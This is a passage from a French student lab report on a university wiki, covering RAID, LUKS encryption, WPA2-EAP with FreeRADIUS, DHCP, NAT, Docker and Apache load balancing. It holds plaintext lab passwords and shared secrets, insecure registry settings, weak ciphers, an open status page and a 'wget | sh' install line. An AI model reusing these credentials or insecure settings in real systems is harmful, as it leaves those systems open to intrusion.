--raid-devices=3 : spécifie le nombre de périphériques actifs dans le volume
/dev/xvda5 /dev/xvda6 /dev/xvda7 : les volumes actifs

Puis nous le formatons : 

mkfs.ext4 /dev/md0

Afin que ce volume soit monté à chaque démarrage de la machine, nous le paramétrons : 

mdadm --monitor --daemonise /dev/md0

Et l'ajoutons à notre fstab : 

/dev/md0 /media/raid ext4 defaults 0 1 
mount -a

Chiffrement de données

L'objectif de cette partie est d'apprendre à sécuriser des données sur une clé en cryptant les informations. Pour ce faire, il faut commencer par installer les outils nécessaires : 

apt-get install lvm2 cryptsetup

Afin de trouver notre clé USB, préalablement branchée à la machine, nous utilisons la commande lsblk : 

root@zabeth16:~# lsblk
NAME     MAJ:MIN RM   SIZE RO TYPE  MOUNTPOINT
sda        8:0    0   477G  0 disk  
├─sda1     8:1    0   512M  0 part  /boot/efi
├─sda2     8:2    0 460.7G  0 part  /
└─sda3     8:3    0  15.8G  0 part  [SWAP]
sdc        8:32   1   7.2G  0 disk

Nous formatons notre clé afin de le mettre à jour, et de ne pas laisser de fichier dérangeant : 

mkfs.ext4 /dev/sdc

A l'aide de cryptsetup, nous initialisons notre clé USB avec l'option luksFormat et choisissons un mot de passe : 

cryptsetup luksFormat /dev/sdc

Nous ouvrons ensuite notre partition chiffrée (nom du volume : crypte) et la formattons 

cryptsetup luksOpen /dev/sdc crypte
mkfs.ext4 /dev/mapper/crypte

Nous montons ensuite la partition afin d'y ajouter un fichier test : 

mkdir /mnt/cryptUSB
mount -t ext4 /dev/mapper/crypte /mnt/cryptUSB/

Nous créons ce fichier test en y inscrivant juste "Hello World!" : 

vi /mnt/cryptUSB/test

Enfin, nous démontons et fermons le volume chiffré : 

umount /mnt/cryptUSB
cryptsetup luksClose crypte

Afin de vérifier l'efficacité de notre chiffrement, nous montons sur une autre machine notre clé USB et essayons d'y accéder, il est évidemment nécessaire de connaître le mot de passe :

Demande de mot de passe pour accéder à la clé chiffrée

Inspection ARP par un élément réseau

Ne concerne pas notre binôme.

Sécurisation WiFi par WPA2-EAP

Configuration de la borne Wifi - SSH

hostname wifi-ima5sc
ip domain-name plil.info
crypto key generate rsa general-keys modulus 2048
ip ssh version 2
aaa new-model
username root privilege 15 secret glogplop

Connexion depuis les VM : 

ssh root@10.60.100.10 -c aes128-cbc

Sécurisation

wifi-ima5sc(config)# aaa authentication login eap_group14 group radius_group14
wifi-ima5sc(config)# radius-server host 193.48.57.176 auth-port 1812 acct-port 1813 key secret_group14
wifi-ima5sc(config)# aaa group server radius radius_group14
wifi-ima5sc(config-server)# server 193.48.57.176 auth-port 1812 acct-port 1813
wifi-ima5sc(config)# dot11 ssid SSID_GROUP14
wifi-ima5sc(config-ssid)# mbssid guest-mode
wifi-ima5sc(config-ssid)# vlan 314
wifi-ima5sc(config-ssid)# authentication open eap eap_group14
wifi-ima5sc(config-ssid)# authentication network-eap eap_group14
wifi-ima5sc(config-ssid)# authentication key-management wpa

wifi-ima5sc(config)# int Dot11Radio0
wifi-ima5sc(config-if)# encryption vlan 314 mode ciphers aes-ccm tkip
wifi-ima5sc(config-if)# mbssid
wifi-ima5sc(config)# ssid SSID_GROUP14

wifi-ima5sc(config-subif)# int dot11radio0.14
wifi-ima5sc(config-subif)# encapsulation dot1q 314
wifi-ima5sc(config-subif)# bridge-group 14

wifi-ima5sc(config)# int Gi0.14
wifi-ima5sc(config-subif)# encapsulation dot1q 314
wifi-ima5sc(config-subif)# bridge-group 14

Free-radius

Répertoire : */etc/freeradius/3.0/

Fichier *users* 

pifou Cleartext-Password := "pasglop"

Fichier *client.conf* 

client pra_wifi {
    ipaddr = 10.60.100.10
    secret = secret_group14
}

Fichier mods-enabled/eap 

default_eap_type = peap

Lancer la commande : 

freeradius -X

DHCP

6509E 

IMA5sc-R2(config)#ip dhcp pool groupe14
IMA5sc-R2(dhcp-config)#dns 193.48.57.176
IMA5sc-R2(dhcp-config)#network 10.60.114.0 255.255.255.0
IMA5sc-R2(dhcp-config)#default-router 10.60.114.254
IMA5sc-R2(dhcp-config)#exit
IMA5sc-R2(config)#ip dhcp excluded-address 10.60.114.0 10.60.114.99
IMA5sc-R2(config)#ip dhcp excluded-address 10.60.114.150 10.60.114.255
IMA5sc-R2(config)#exit
IMA5sc-R2#sh ip dhcp binding

C9200 

IMA5sc-R2(config)#ip dhcp pool groupe14
IMA5sc-R2(dhcp-config)#dns 193.48.57.176
IMA5sc-R2(dhcp-config)#network 10.60.114.0 255.255.255.0
IMA5sc-R2(dhcp-config)#default-router 10.60.114.254
IMA5sc-R2(dhcp-config)#exit
IMA5sc-R2(config)#ip dhcp excluded-address 10.60.114.0 10.60.114.49
IMA5sc-R2(config)#ip dhcp excluded-address 10.60.114.100 10.60.114.255
IMA5sc-R2(config)#exit
IMA5sc-R2#sh ip dhcp binding

Mascarade

IMA5sc-R1(config)# int vlan 314
IMA5sc-R1(config-if)# ip nat inside

IMA5sc-R1(config)# int vlan 131
IMA5sc-R1(config-if)# ip nat outside

IMA5sc-R1(config)# int Loopback0
IMA5sc-R1(config-if)# ip address 193.48.57.189

IMA5sc-R1(config)# access-list 114 permit ip 10.60.114.0 0.0.0.255 any
IMA5sc-R1(config)# ip nat inside source list 114 interface Loopback0 overload

Nous supposons que l'OSPF ne veut pas exporter l'interface Loopback.

Tests

IMA5sc-R1#sh ip nat statistics
Total active translations: 0 (0 static, 0 dynamic; 0 extended)
Outside interfaces:
  Vlan131
Inside interfaces:
  Vlan314
Hits: 983  Misses: 0
CEF Translated packets: 983, CEF Punted packets: 5123
Expired translations: 7
Dynamic mappings:
-- Inside Source
[Id: 7] access-list 114 interface Loopback0 refcount 0

Ferme de serveurs Web

Il nous est demandé d’implanter une architecture d’équilibrage de charge pour un site Web.

Architecture générale de la ferme

Ajout d'une interface réseau à notre machine virtuelle oronge afin de relier celle-ci au VLAN50. Nous choisissons comme adresse MAC celle de la première interface + 1. Dans un premier temps, nous l'ajoutons à notre fichier de configuration sur capbreton : 

vif = [ 'bridge=IMA5sc, mac=00:16:3E:5E:98:25', 'bridge=bridgeStudents, mac=00:16:3E:5E:98:26' ]

Ensuite, nous la configurons notre machine principale (capbreton) en ajoutant au fichier /etc/network/interfaces : 

auto eth1
iface eth1 inet static
  address 192.168.42.14
  netmask 255.255.255.0

Puis sur notre machine secondaire (chassiron) en ajoutant au fichier /etc/network/interfaces : 

auto eth0
iface eth0 inet static
  address 192.168.42.28
  netmask 255.255.255.0
  gateway 192.168.42.14

Nous ajoutons également l'adresse 193.48.57.176 en tant que nameserver dans le fichier /etc/resolv.conf.

Afin de donner un accès internet à notre machine virtuelle secondaire, nous mettons en place une mascarade sur notre machine principale : 

root@oronge:~# iptables -P FORWARD DROP
root@oronge:~# iptables -A FORWARD -j ACCEPT -s 192.168.42.28/32
root@oronge:~# iptables -A FORWARD -j ACCEPT -d 192.168.42.28/32
root@oronge:~# iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.28/32 --to-source 193.48.57.176
root@oronge:~# iptables-save
root@oronge:~# echo 1 > /proc/sys/net/ipv4/ip_forward

Installation de docker

La méthode détaillée : 

apt -y install apt-transport-https ca-certificates curl gnupg2 software-properties-common
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/debian $(lsb_release -cs) stable"
apt update
apt -y install docker-ce docker-ce-cli containerd.io

Il également possible d'installer Docker avec cette commande : 

wget -qO - get.docker.com | sh

Déploiement du conteneur

Les rôles ansible sont dans /etc/ansible/roles.
Les playbooks sont dans /etc/ansible.

Le playbook nommé test permet de faire un lsb_release sur tous les hôtes du groupe webservers.
Le playbook nommé playbook permet de télécharger le motd et de set le ntpd, d'installer Docker et de déployer le rôle registry sur notre VM personnelle sur Chassiron.
Le playbook nommé apache permet de déployer le rôle apache décrit plus bas.

1. Image et conteneur

Nous voulons créer une image à partir de la dernière version d'httpd, dans laquelle nous allons copier le favicon et le fichier index.php de notre serveur.

Nous avons créer un Dockerfile dans le but de créer un image : 

FROM httpd:latest

WORKDIR /usr/local/apache2/htdocs 

COPY src/ .

CMD [ "httpd", "-D", "FOREGROUND" ]

Ce fichier copie les source de notre site web dans l'image Docker et lance la commande donnée.
Pour créer l'image : 

docker build -t apache .

Ensuite, nous créons un conteneur : 

docker run -d --name apache apache

2. Dépôt non sécurisé

Nous devons utiliser l'utilisation d'un dépôt registry non sécurisé. Pour cela, nous allons copier un fichier nommé daemon.json sur chaque VM de chassiron. 

{
  "insecure-registries" : ["192.168.42.15:5000", "192.168.42.16:5000", "192.168.42.17:5000", "192.168.42.18:5000", "192.168.42.19:5000", "192.168.42.20:5000", "192.168.42.21:5000", "192.168.42.22:5000", "192.168.42.23:5000", "192.168.42.24:5000", "192.168.42.25:5000", "192.168.42.26:5000", "192.168.42.28:5000"]
}

3. Déploiement

Nous avons créé un rôle ansible (registry) utilisant le module docker_container.
Ce rôle va permettre de déployer un registry Docker sur l'ensemble des hôtes souhaités.

La deuxième étape consiste à push notre conteneur sur le registry : 

docker tag apache 192.168.42.28:5000/apache
docker push 192.168.42.28:5000/apache

Nous avons ensuite créé un rôle ansible (apache) utilisant également le module docker_container.
Ce rôle devra pull depuis le registry de notre VM sur chassiron notre conteneur Docker (renommé oronge en même temps).

4. Les versions de python

Malheureusement, nous avons rencontré des problèmes liés à la version de python utilisée par ansible.
La solution que nous avons trouvé est se compose de plusieurs choses :

  • Installer python3 sur notre VM sur chassiron
  • Supprimer toutes les autres versions de python
  • Installer une "mise à jour" d'ansible avec pip3
  • Forcer l'utilisation de python3 dans la config d'ansible

Load balancing

Dans le fichier /etc/bind/db.oronge.site, ajouter : 

reverse IN      CNAME   ns1

Ensuite, lancer les commandes : 

cd /etc/bind/oronge.site.dnssec && dnssec-signzone -o oronge.site -k oronge.site-ksk ../db.oronge.site oronge.site-zsk
service bind9 restart
a2enmod proxy
a2enmod proxy_http

Ajouter dans /etc/apache2/apache.conf 

<Proxy "balancer://mycluster">
       BalancerMember "http://192.168.42.15:8094" route=1
       BalancerMember "http://192.168.42.28:8094" route=2
       BalancerMember "http://192.168.42.14:8095" route=3
       BalancerMember "http://192.168.42.17:8094" route=4
       BalancerMember "http://192.168.42.20:8094" route=5
       BalancerMember "http://192.168.42.22:8094" route=6
       BalancerMember "http://192.168.42.24:8094" route=7
       BalancerMember "http://192.168.42.25:8094" route=8
</Proxy>

Créer /etc/apache2/sites-available/reverse.conf 

<VirtualHost *:80>
        ServerName reverse.oronge.site
        ProxyPreserveHost On
        
        ProxyPass /status !
        ProxyPass / "balancer://mycluster"
        ProxyPassReverse / "balancer://mycluster" 

        <location /status>
                SetHandler server-status
                Allow from all
        </location>
</VirtualHost>

Lancer les commandes suivantes : 

a2ensite reverse
a2enmod proxy_balancer
a2enmod lbmethod_byrequests
service apache2 restart

L'uri reverse.oronge.site/status donne les statistiques d'équilibrage de charge.
On remarque que grâce à la configuration mise en place (module lbmethod_byrequests), les requêtes sont distribuées de manière à ce que le serveur qui a le plus besoin de travailler reçoive la prochaine. 

Sch	Host	        Stat Route	Redir	        F	Set	Acc	Busy	    Wr	Rd
http	192.168.42.15	Init Ok	        1		1.00	0	27	0	    16K	1.2K
http	192.168.42.28	Init Ok	        2		1.00	0	26	0	    13K	1.2K
http	192.168.42.14	Init Ok	        3		1.00	0	26	0	    13K	1.2K
http	192.168.42.17	Init Err	4		1.00	0	1	0	    0	0
http	192.168.42.20	Init Err	5		1.00	0	1	0	    0	0
http	192.168.42.22	Init Err	6		1.00	0	1	0	    0	0
http	192.168.42.24	Init Err	7		1.00	0	1	0	    0	0
http	192.168.42.25	Init Err	8		1.00	0	1	0	    0	0

On remarque également que les VMs sur lesquelles nous n'avons pas de conteneur sont mises en erreur par le système de load balancing et ne sont donc pas prises en compte dans la répartition des charges.

Récupérée de « https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G14&oldid=55286 »